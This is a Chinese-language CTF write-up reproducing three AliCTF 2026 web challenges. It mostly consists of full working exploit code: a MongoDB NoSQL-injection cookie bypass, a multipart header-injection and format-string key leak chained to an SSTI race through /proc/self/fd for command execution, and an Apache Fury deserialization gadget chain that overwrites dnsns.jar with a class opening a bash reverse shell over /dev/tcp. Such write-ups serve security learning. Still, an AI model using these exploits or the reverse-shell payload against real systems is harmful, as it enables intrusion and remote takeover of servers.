阿里CTF 2026部分复现

Easy Login

懒得写详细了

const session = await sessionsCollection.findOne({ sid });

存在NoSQL注入

那么先通过visit访问http://127.0.0.1:3000/,bot则会登录admin在Mongo数据库中生成admin的session

然后通过构造Cookie: sid=j:{"$ne":null} 然后再访问/admin即可

import requests
import json


BASE = "http://223.6.249.127:13173"
TIMEOUT = 15

def exploit():
    # 1. 触发 /visit 让服务器生成 session
    try:
        requests.post(
            BASE + "/visit",
            json={"url": "http://127.0.0.1:3000/"},
            timeout=TIMEOUT
        )
    except:
        pass

    # 2. 构造 sid = j:{"$ne": null}
    mongo_op = "$ne"
    evil_cookie = "j:" + json.dumps({mongo_op: None})

    print("[+] 使用恶意 sid:", evil_cookie)

    r = requests.get(
        BASE + "/admin",
        headers={"Cookie": "sid=" + evil_cookie},
        timeout=TIMEOUT
    )

    print("\n[+] /admin 返回内容:")
    print(r.text)


if __name__ == "__main__":
    exploit()

Cutter

源码如下

from flask import Flask, request, render_template, render_template_string
from io import BytesIO
import os
import json
import httpx

app = Flask(__name__)

API_KEY = os.urandom(32).hex()
HOST = '127.0.0.1:5000'

@app.route('/admin', methods=['GET'])
def admin():
    token = request.headers.get("Authorization", "")
    if token != API_KEY:
        return 'unauth', 403

    tmpl = request.values.get('tmpl', 'index.html')
    tmpl_path = os.path.join('./templates', tmpl)

    if not os.path.exists(tmpl_path):
        return 'Not Found', 404

    tmpl_content = open(tmpl_path, 'r').read()
    return render_template_string(tmpl_content), 200

@app.route('/action', methods=['POST'])
def action():
    ip = request.remote_addr
    if ip != '127.0.0.1':
        return 'only localhost', 403

    token = request.headers.get("X-Token", "")
    if token != API_KEY:
        return 'unauth', 403
    
    file = request.files.get('content')
    content = file.stream.read().decode()

    action = request.files.get("action")
    act = json.loads(action.stream.read().decode())

    if act["type"] == "echo":
        return content, 200
    elif act["type"] == "debug":
        return content.format(app), 200
    else:
        return 'unkown action', 400

@app.route('/heartbeat', methods=['GET', 'POST'])
def heartbeat():
    text = request.values.get('text', "default")
    client = request.values.get('client', "default")
    token = request.values.get('token', "")

    if len(text) > 300:
        return "text too large", 400

    action = json.dumps({"type" : "echo"})

    form_data = {
        'content': ('content', BytesIO(text.encode()), 'text/plain'),
        'action' : ('action', BytesIO(action.encode()), 'text/json')
    }

    headers = {
        "X-Token" : API_KEY,
    }
    headers[client] = token

    response = httpx.post(f"http://{HOST}/action", headers=headers, files=form_data, timeout=10.0)
    if response.status_code == 200:
        return response.text, 200
    else:
        return f'action failed', 500

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

首先是admin路由存在任意文件读取或SSTI(文件内容可控的前提下)

image-20260208133054576

但是需要API_KEY,而API_KEY又是随机生成的

往下看,action路由在debug模式下存在格式化字符串漏洞,可以泄露出全局变量中的API_KEY

image-20260208133256729

而action路由可以通过heartbeat路由来访问

image-20260208133701328

这里默认硬编码了type为echo模式,但是headers可控,我们可以通过注入Content-Type头部来劫持数据包,设置client=Content-Typetoken=multipart/form-data; boundary=123,然后设置text的值为{"type":"debug"}

这样通过heartbeat请求action的时候会优先使用我们注入的123这部分作为Boundary,然后后端从text中读取action的值覆盖掉上面硬编码的echo模式

import requests

url = "http://223.6.249.127:18270"


def key():
    payload = "{0.view_functions[index].__globals__[API_KEY]}"
    
    BOUNDARY = "p0l1st"
    multipart_data = (
        f"{payload}\r\n"
        f"--{BOUNDARY}\r\n"
        'Content-Disposition: form-data; name="action"; filename="p0l1st.json"\r\n\r\n'
        '{"type": "debug"}\r\n'
        f"--{BOUNDARY}--\r\n"
    )
    
    data = {
        "client": "content-type", 
        "token": f"multipart/form-data; boundary={BOUNDARY}",
        "text": multipart_data
    }
    
    r = requests.post(url+"/heartbeat",data=data)
    print(r.text)


key()

image-20260208140932227

现在就可以任意文件读取了,但是问题是我们不知道flag叫什么

image-20260208141028407

在 Linux 中,/proc/self/fd/ 是当前进程“已打开文件”的快捷入口,一切皆文件:普通文件、Socket、管道都算。 通常 FD 0/1/2 是标准输入、输出、错误;FD 3 往往是服务监听用的 Socket;而 FD 4–10 多半是当前请求相关的资源,比如 wsgi.input(HTTP 请求体的输入流)或请求体过大时生成的临时缓存文件。通过这些 FD,进程可以在不重新打开路径的情况下直接读写对应资源。

那么我们可以构造一个比较大的请求体,里面有我们的SSTI Payload,这样的话fd某个值就会包含这个payload,再通过读这个fd的内容来通过SSTI进行rce,这个发包并读取的过程需要条件竞争

官方exp

import requests
import threading
from io import BytesIO

url = 'http://223.6.249.127:18270'

STOP_SIGNAL = True
STOP_MAIN = True

def get_key():
    boundary = "asdasdasd"
    # 覆盖 action 字段
    text = f'''
{{0.__class__.__init__.__globals__[sys].modules[__main__].API_KEY}}
--{boundary}
Content-Disposition: form-data; name="action"; filename="action"
Content-Type: application/json

{{"type":"debug"}}
--{boundary}--
'''.strip()
    header = "Content-Type"

    data = {
        "client" : header,
        "token" : f"multipart/form-data; boundary={boundary}",
        "text" : text
    }
    res = requests.post(url=url + '/heartbeat', data=data)
    return res.text.strip()

def send(command : str):
    # 发送大文件
    size = 500 * 1024 + 1
    payload = b"<start>" + b" "*size + b"<end>" + b"{{url_for.__globals__['os'].popen('" + command.encode() + b"').read()}}"
    files = {
        "payload" : ("payload", BytesIO(payload), "text/plain")
    }
    requests.post(url=url + '/heartbeat', files=files)

def render(key : str):
    global STOP_SIGNAL
    global STOP_MAIN
    while STOP_SIGNAL:
        try:
            res = requests.get(url=url + '/admin', params={
                "tmpl" : "/proc/self/fd/5"
            }, headers={
                "Authorization" : key
            })
            if "<end>" in res.text:
                print('\n' + res.text.split('<end>')[1].strip())
                STOP_SIGNAL = False
                STOP_MAIN = False
        except:
            pass

if __name__ == '__main__':
    command = "cat /flag*"

    API_KEY = get_key()
    print(f"API_KEY : {API_KEY}")

    total = 0
    while STOP_MAIN:
        try:
            STOP_SIGNAL = True
            total = total + 1
            print(f"第{str(total)}次尝试", end='\r')

            t = threading.Thread(target=render, args=(API_KEY, ))
            t.start()

            send(command)
        except KeyboardInterrupt as e:
            break
        except:
            pass
        finally:
            STOP_SIGNAL = False
            t.join()

image-20260208144921062

Fileury

com.app.UndertowRoutingServer存在Apache Fury反序列化

byte[] decoded = Base64.getDecoder().decode(v.getValue());
decodedStr = new String(decoded, StandardCharsets.UTF_8);
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
//允许不预先注册类的情况下进行反序列化
fury.deserialize(decoded);

并且在furry/disallowed.txt存在反序列化黑名单,反序列化时会检查类是否在黑名单中

image-20260208164258171

(黑名单太长就不贴了)

从依赖中可以发现存在AspectJWeaver依赖和CC依赖,并且以下类是不在黑名单中的

  • org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap
  • org.apache.commons.collections.map.LazyMap
  • org.apache.commons.collections.keyvalue.TiedMapEntry
  • org.apache.commons.collections.comparators.TransformingComparator
  • org.apache.commons.collections.functors.ConstantFactory
  • org.apache.commons.collections.functors.StringValueTransformer

正好yso中的AspectJWeaver写文件链子同时也需要cc依赖,参考 Servlet中的时间竞争及AspectJWeaver反序列化Gadget构造[non-RCE 题解]

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

我们可以使用这条链子来任意写文件

import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.StringValueTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;
import java.util.PriorityQueue;

public class AspectJWeaverExp {

    public static void main(String[] args) throws Exception {
        // Goal: Arbitrary File Write
        // Chain:
        // PriorityQueue.readObject() -> heapify() -> comparator.compare()
        // comparator = TransformingComparator(StringValueTransformer)
        // transformer.transform(TiedMapEntry) -> TiedMapEntry.toString()
        // TiedMapEntry.toString() -> getValue() -> map.get(key)
        // map = LazyMap(StoreableCachingMap, ConstantFactory(bytes))
        // LazyMap.get(key) -> factory.create(key) -> bytes
        // LazyMap.put(key, bytes) -> StoreableCachingMap.put(key, bytes) -> write bytes to file 'key'
        byte[] content = Files.readAllBytes(Paths.get("E:\\CTF_Challenge\\阿里CTF 2026\\Fileury\\FileuryExp\\ascii01_3.jar"));

        String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar";
//        byte[] content = cronPayload.getBytes();

        // 1. Setup StoreableCachingMap (The Inner Map)
        // Ensure access to the class
        Class<?> scMapClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor<?> constructor = scMapClass.getDeclaredConstructor(String.class, int.class);
        constructor.setAccessible(true);
        // folder = ".", maxEntries = 100
        Map storeableMap = (Map) constructor.newInstance(".", 100);

        // 2. Setup LazyMap with ConstantFactory
        ConstantFactory factory = new ConstantFactory(content);
        Map lazyMap = LazyMap.decorate(storeableMap, factory);

        // 3. Setup TiedMapEntry
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

        // 4. Setup Comparator and Transformer
        // StringValueTransformer calls String.valueOf(obj) which calls obj.toString() (if not null)
        org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance();
        TransformingComparator comparator = new TransformingComparator(transformer);

        // 5. Setup PriorityQueue
        PriorityQueue queue = new PriorityQueue(2, comparator);

        Field sizeField = PriorityQueue.class.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(queue, 2);

        Field queueField = PriorityQueue.class.getDeclaredField("queue");
        queueField.setAccessible(true);
        Object[] queueArray = new Object[2];
        queueArray[0] = entry;
        queueArray[1] = entry;
        queueField.set(queue, queueArray);

        // 6. Serialize with Fury
        System.out.println("Serializing AspectJ Chain with Fury...");
        Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
        byte[] serializedInfo = fury.serialize(queue);


        String b64 = Base64.getEncoder().encodeToString(serializedInfo);
        FileOutputStream fos = new FileOutputStream("payload_aj.b64");
        fos.write(b64.getBytes());
        fos.close();
        System.out.println("AspectJ Payload saved to payload_aj.b64");
        System.out.println("Payload Base64: " + b64);
        
    }
}

至于为什么写dnsns.jar,参考Fastjson write ascii JAR RCE

当使用-verbose:class参数时,可以监控类的加载情况

image-20260208230332390

在这里dnsns.jar仍然未被加载,所以直接覆盖dnsns.jar

其实只要是未加载的jar包就行

生成jar包的脚本,具体参考https://github.com/c0ny1/ascii-jar

#!/usr/bin/env python

import time
import os
from compress import *

allow_bytes = []
disallowed_bytes = [38, 60, 39, 62, 34, 40, 41]
for b in range(0, 128):
    if b in disallowed_bytes:
        continue
    allow_bytes.append(b)

if __name__ == '__main__':
    padding_char = 'U'
    raw_filename = 'DNSNameServiceDescriptor.class'
    zip_entity_filename = 'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class'
    jar_filename = 'ascii01_3.jar'
    num = 1
    while True:
        javaCode = """
package sun.net.spi.nameservice.dns;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;

import java.io.IOException;

public final class DNSNameServiceDescriptor extends Exception implements NameServiceDescriptor {
    private static final String paddingData = "{PADDING_DATA}";
    public DNSNameServiceDescriptor() {
        try {
            String[] cmd = new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/9000 0>&1"};
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public NameService createNameService() throws Exception {
        return null;
    }

    public String getProviderName() {
        return "sun";
    }

    public String getType() {
        return "dns";
    }
}
        """
        padding_data = padding_char * num
        javaCode = javaCode.replace("{PADDING_DATA}", padding_data)

        f = open('DNSNameServiceDescriptor.java', 'w')
        f.write(javaCode)
        f.close()
        time.sleep(0.1)

        os.system("D:\\JavaEnviron\\jdk1.8.0_65\\bin\\javac.exe -nowarn -g:none -source 1.8 -target 1.8 -cp jasper.jar DNSNameServiceDescriptor.java")

        raw_data = bytearray(open(raw_filename, 'rb').read())
        compressor = ASCIICompressor(bytearray(allow_bytes))
        compressed_data = compressor.compress(raw_data)[0]
        crc = zlib.crc32(raw_data) % pow(2, 32)

        st_crc = struct.pack('<L', crc)
        st_raw_data = struct.pack('<L', len(raw_data) % pow(2, 32))
        st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2, 32))
        st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) + 0x1e)

        b_crc = isAllowBytes(st_crc, allow_bytes)
        b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
        b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
        b_cdzf = isAllowBytes(st_cdzf, allow_bytes)

        if b_crc and b_raw_data and b_compressed_data and b_cdzf:
            print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
            output = open(jar_filename, 'wb')
            output.write(wrap_jar(raw_data, compressed_data, zip_entity_filename.encode()))
            print('[+] Generate {0} success'.format(jar_filename))
            break
        else:
            print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
        num = num + 1

上传完jar包后直接通过反序列化触发dnsns.jar加载

import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.util.Base64;


public class ExpFinal {
    public static void main(String[] args) throws Exception {
        System.out.println("Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor...");

        Fury fury = Fury.builder()
                .withLanguage(Language.JAVA)
                .requireClassRegistration(false)
                .build();

        Class<?> clazz = Class.forName("sun.net.spi.nameservice.dns.DNSNameServiceDescriptor");
        Object instance = clazz.newInstance();

        byte[] payload = fury.serialize(instance);
        String b64 = Base64.getEncoder().encodeToString(payload);

        try (FileOutputStream fos = new FileOutputStream("payload_dns.b64")) {
            fos.write(b64.getBytes());
        }

        System.out.println("Payload saved to payload_dns.b64");
        System.out.println("Payload Base64: " + b64);
    }
}

两次发包,首先覆盖dnsns.jar

image-20260208230911857

然后触发加载,反弹shell

image-20260208230938967

image-20260208225455127